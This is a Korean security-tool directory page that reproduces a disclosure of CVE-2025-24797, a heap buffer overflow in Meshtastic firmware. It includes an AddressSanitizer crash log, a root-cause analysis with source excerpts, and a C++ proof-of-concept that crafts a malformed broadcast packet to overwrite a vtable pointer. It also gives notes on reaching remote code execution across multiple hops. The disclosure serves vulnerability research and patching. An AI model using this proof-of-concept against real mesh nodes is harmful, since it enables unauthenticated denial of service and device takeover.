Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/alainx277/cve-2025-24797
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationFuzzingWireless SecurityBinary Exploitation
GitHubalainx277/cve-2025-24797

CVE-2025-24797

Meshtastic 버퍼 오버플로 취약점 - CVE-2025-24797

저장소 보기
231년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-24797

CVE-2025-24797 상세 - NVD

요약

잘못된 protobuf 데이터를 포함한 메시 패킷 처리의 결함으로 인해 공격자가 제어하는 버퍼 오버플로우가 발생할 수 있으며, 이로 인해 공격자가 실행 흐름을 탈취하여 잠재적으로 원격 코드 실행이 가능할 수 있습니다. 이 공격은 대상 장치가 기본 채널에서 패킷을 재브로드캐스트하는 한 인증이나 사용자 상호작용이 필요하지 않습니다.

근본 원인

이 취약점은 처음에 퍼징을 통해 발견되었으며, 다음과 같은 ASAN 중단이 발생했습니다:

root@kitploit:~
DEBUG | 22:27:03 0 State: BOOT
DEBUG | 22:27:03 0 Lora RX (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 Packet RX: 845ms
DEBUG | 22:27:03 0 [Router] Add packet record (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 [Router] Use channel 0 (hash 0x8)
DEBUG | 22:27:03 0 [Router] Expand short PSK #1
DEBUG | 22:27:03 0 [Router] Use AES128 key!
ERROR | 22:27:03 0 [Router] Can't decode protobuf reason='wrong wire type', pb_msgdesc 0x55f23cf543c0
ERROR | 22:27:03 0 [Router] Invalid protobufs in received mesh packet id=0x76f4febf (bad psk?)!
WARN  | 22:27:03 0 [Router] No suitable channel found for decoding, hash was 0x8!
DEBUG | 22:27:03 0 [Router] packet decoding failed or skipped (no PSK?) (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Module 'routing' wantsPacket=1
INFO  | 22:27:03 0 [Router] Received routing from=0x10, id=0x76f4febf, portnum=10320, payloadlen=25
DEBUG | 22:27:03 0 [Router] Routing sniffing (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
INFO  | 22:27:03 0 [Router] Rebroadcast received floodmsg
DEBUG | 22:27:03 0 [Router] enqueuing for send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
DEBUG | 22:27:03 0 [Router] Set random delay before tx
DEBUG | 22:27:03 0 [Router] Delivering rx packet (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Forwarding to phone (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
ERROR | 22:27:03 0 [Router] Packet too large to attempt decryption! (rawSize=10320 > 256)
DEBUG | 22:27:03 0 [Router] Module 'routing' considered
DEBUG | 22:27:03 0 [SimRadio] delay done
DEBUG | 22:27:03 0 [SimRadio] Start low level send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
=================================================================
==6992==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000006e0 at pc 0x7f85755a7397 bp 0x7fff161319a0 sp 0x7fff16131148
READ of size 10320 at 0x6130000006e0 thread T0
    #0 0x7f85755a7396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
    #1 0x55f23a1c40d2 in RadioInterface::beginSending(_meshtastic_MeshPacket*) src/mesh/RadioInterface.cpp:621
    #2 0x55f23a297a8d in SimRadio::startSend(_meshtastic_MeshPacket*) src/platform/portduino/SimRadio.cpp:261
    #3 0x55f23a29782f in SimRadio::onNotify(unsigned int) src/platform/portduino/SimRadio.cpp:231
    #4 0x55f23a0c8ee2 in concurrency::NotifiedWorkerThread::checkNotification() src/concurrency/NotifiedWorkerThread.cpp:82
    #5 0x55f23a0c8f3c in concurrency::NotifiedWorkerThread::runOnce() src/concurrency/NotifiedWorkerThread.cpp:89
    #6 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
    #7 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
    #8 0x55f23a154893 in loop src/main.cpp:1259
    #9 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
    #10 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #11 0x7f8574ad7e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #12 0x55f239f8f8b4 in _start (/home/alain/marc/program+0x1098b4)

0x6130000006e0 is located 0 bytes to the right of 352-byte region [0x613000000580,0x6130000006e0)
allocated by thread T0 here:
    #0 0x7f8575621887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x55f23a1d55ac in MemoryDynamic<_meshtastic_MeshPacket>::alloc(unsigned int) src/mesh/MemoryPool.h:71
    #2 0x55f23a16aeb3 in Allocator<_meshtastic_MeshPacket>::allocCopy(_meshtastic_MeshPacket const&, unsigned int) src/mesh/MemoryPool.h:38
    #3 0x55f23a16a573 in FloodingRouter::perhapsRebroadcast(_meshtastic_MeshPacket const*) src/mesh/FloodingRouter.cpp:60
    #4 0x55f23a16a91e in FloodingRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/FloodingRouter.cpp:97
    #5 0x55f23a1ca301 in ReliableRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/ReliableRouter.cpp:141
    #6 0x55f23a220710 in RoutingModule::handleReceivedProtobuf(_meshtastic_MeshPacket const&, _meshtastic_Routing*) src/modules/RoutingModule.cpp:26
    #7 0x55f23a22141f in ProtobufModule<_meshtastic_Routing>::handleReceived(_meshtastic_MeshPacket const&) src/mesh/ProtobufModule.h:100
    #8 0x55f23a17e8fa in MeshModule::callModules(_meshtastic_MeshPacket&, RxSource) src/mesh/MeshModule.cpp:132
    #9 0x55f23a1d437b in Router::handleReceived(_meshtastic_MeshPacket*, RxSource) src/mesh/Router.cpp:618
    #10 0x55f23a1d5211 in Router::perhapsHandleReceived(_meshtastic_MeshPacket*) src/mesh/Router.cpp:681
    #11 0x55f23a1cfc2c in Router::runOnce() src/mesh/Router.cpp:71
    #12 0x55f23a1cc01d in ReliableRouter::runOnce() src/mesh/ReliableRouter.h:79
    #13 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
    #14 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
    #15 0x55f23a154893 in loop src/main.cpp:1259
    #16 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
    #17 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
  0x0c267fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c267fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c267fff80a0: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff80c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa
  0x0c267fff80e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c267fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff8110: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==6992==ABORTING

손상은 memcpy 작업 중 패킷이 전송될 때 발생하며, 암호화된 바이트를 radioBuffer로 복사합니다. p->encrypted.size 필드는 radioBuffer.payload의 크기(240바이트)보다 큰 값을 가집니다.

root@kitploit:~
// src/mesh/RadioInterface.cpp

size_t RadioInterface::beginSending(meshtastic_MeshPacket *p)
{
    // ...
    memcpy(radioBuffer.payload, p->encrypted.bytes, p->encrypted.size);

    // ...
}

잘못된 크기 값의 원인은 패킷 디코딩 시 발생하는 논리적 버그입니다. 복호화된 패킷 데이터는 pb_decode_from_bytes를 사용하여 디코딩되며, 대상은 수신된 패킷 구조체 p입니다.

root@kitploit:~
// src/mesh/Router.cpp

bool perhapsDecode(meshtastic_MeshPacket *p)
{
    // ...
    // Try to decrypt the packet if we can
    crypto->decrypt(p->from, p->id, rawSize, bytes);
  
    // printBytes("plaintext", bytes, p->encrypted.size);
  
    // Take those raw bytes and convert them back into a well structured protobuf we can understand
    memset(&p->decoded, 0, sizeof(p->decoded));
    if (!pb_decode_from_bytes(bytes, rawSize, &meshtastic_Data_msg, &p->decoded)) {
        LOG_ERROR("Invalid protobufs in received mesh packet id=0x%08x (bad psk?)!", p->id);
    } else if (p->decoded.portnum == meshtastic_PortNum_UNKNOWN_APP) {
        LOG_ERROR("Invalid portnum (bad psk?)!");
    } else {
        decrypted = true;
        break;
    }
  // ...
}

디코딩이 성공하면 decrypted가 true로 설정되고 which_payload_variant가 meshtastic_MeshPacket_decoded_tag로 올바르게 업데이트됩니다.

root@kitploit:~
// src/mesh/Router.cpp

bool perhapsDecode(meshtastic_MeshPacket *p)
{
    // ...

    if (decrypted) {
        // parsing was successful
        p->which_payload_variant = meshtastic_MeshPacket_decoded_tag; // change type to decoded

    // ...

그러나 디코딩이 실패하면 which_payload_variant가 업데이트되지 않습니다. p->encrypted와 p->decoded는 유니온을 사용하여 구현되었고 메모리 영역이 겹치기 때문에 p->encrypted의 데이터가 pb_decode_from_bytes에 의해 부분적으로 디코딩된 데이터로 손상되었으며 사용하기에 안전하지 않습니다.

노드는 기본적으로 수신된 패킷을 재브로드캐스트하므로 손상된 패킷이 전송되도록 예약됩니다. RadioInterface::beginSending에서 코드는 패킷이 암호화된 형식임을 올바르게 확인하고 p->encrypted에 안전하게 접근할 수 있다고 가정하여 손상된 크기가 memcpy에 전달되어 잠재적으로 버퍼를 오버플로우시킵니다.

PoC

다음은 취약점을 트리거하는 악성 메시지를 전송하는 방법을 보여주는 예제 코드입니다.

root@kitploit:~
uint32_t from = 2;
uint32_t id = 2;

meshtastic_Data d = meshtastic_Data_init_default;
// We can choose the memcpy size by setting portnum, as it overlaps with the `encrypted->size` field
uint16_t memcpy_size = sizeof(meshtastic_Data);
d.portnum = static_cast<meshtastic_PortNum>(memcpy_size);
// This is the data written outside of radioBuffer
d.dest = 0xAAAAAAAA;
// Overwrites virtual table pointer
d.source = 0xBBBBBBBB;
d.request_id = 0xCCCCCCCC;
d.reply_id = 0xDDDDDDDD;
d.emoji = 0xEEEEEEEE;
d.has_bitfield = false;

byte internal_data[256] = {};
size_t internal_size = pb_encode_to_bytes(internal_data, sizeof(internal_data), &meshtastic_Data_msg, &d);

// Cause deserialization to fail by adding a stray byte
assert(internal_size < sizeof(internal_data));
internal_data[internal_size] = 0xFF;
internal_size += 1;

channels.setActiveByIndex(0);
crypto->encryptPacket(from, id, internal_size, internal_data);

meshtastic_MeshPacket p = meshtastic_MeshPacket_init_default;
p.from = from;
p.to = 4294967295; // Broadcast
p.id = id;
p.channel = 0x8;
p.hop_limit = 3;
p.hop_start = 3;
p.which_payload_variant = meshtastic_MeshPacket_encrypted_tag;
p.encrypted.size = internal_size;
memcpy(p.encrypted.bytes, internal_data, sizeof(p.encrypted.bytes));


meshtastic_MeshPacket *allocPacket = packetPool.allocCopy(p);
rIf->send(allocPacket);

그리고 다음은 덮어쓴 vtable 포인터를 로드하는 동안 충돌하는 수신 노드입니다:

402298428-01fcba5c-ca4c-4ad9-824c-2747c540b585

영향

공격자는 기록된 데이터가 디코딩 중인 암호화된 패킷 데이터를 기반으로 하기 때문에 버퍼의 크기와 내용을 제어할 수 있습니다. memcpy의 크기를 수정함으로써 공격자는 힙 데이터 구조를 손상시켜 서비스 거부를 유발할 수 있습니다.

공격자는 또한 오버플로우된 영역의 제한된 부분을 제어할 수 있습니다. meshtastic_Packet 구조체가 대상 RadioBuffer보다 크기 때문입니다. radioBuffer 뒤에는 세 개의 구조체 필드가 있습니다: int8_t power; float savedFreq; uint32_t savedChannelNum. 이 필드들은 작동 중에 사용되지 않으므로 안전하게 덮어쓸 수 있습니다. 이 필드들 뒤에는 concurrency::NotifiedWorkerThread의 가상 테이블 포인터가 있습니다. 이 포인터를 덮어씀으로써 공격자는 다음에 스레드가 실행될 때 실행을 임의로 리디렉션하여 잠재적으로 원격 코드 실행을 가능하게 할 수 있습니다.

우리는 ASLR이나 메모리 실행 보호가 없는 임베디드 시스템에서는 공격자가 패킷 내부에 직접 셸코드를 포함할 수 있기 때문에 작동하는 RCE 익스플로잇이 상당히 간단할 것으로 추정합니다. 메모리 실행 보호가 적용된 경우 공격자는 펌웨어 내 기존 메서드를 호출하여 RCE 또는 기타 파괴적인 행동을 달성할 수 있을 수 있습니다. ASLR이 존재하는 경우 주소를 누출하기 위해 또 다른 취약점이 필요하다고 가정합니다.

이 취약점은 여러 홉 떨어진 노드에서도 악용될 수 있습니다. 패킷이 재브로드캐스트되기 때문에 공격자는 초기 단계에서 유효한 값으로 크기 필드를 덮어쓰는 다단계의 변형된 암호화 데이터를 중첩할 수 있습니다. 데이터는 최종 덮어쓰기가 트리거될 때까지 각 홉에서 압축이 풀립니다.

도구 다운로드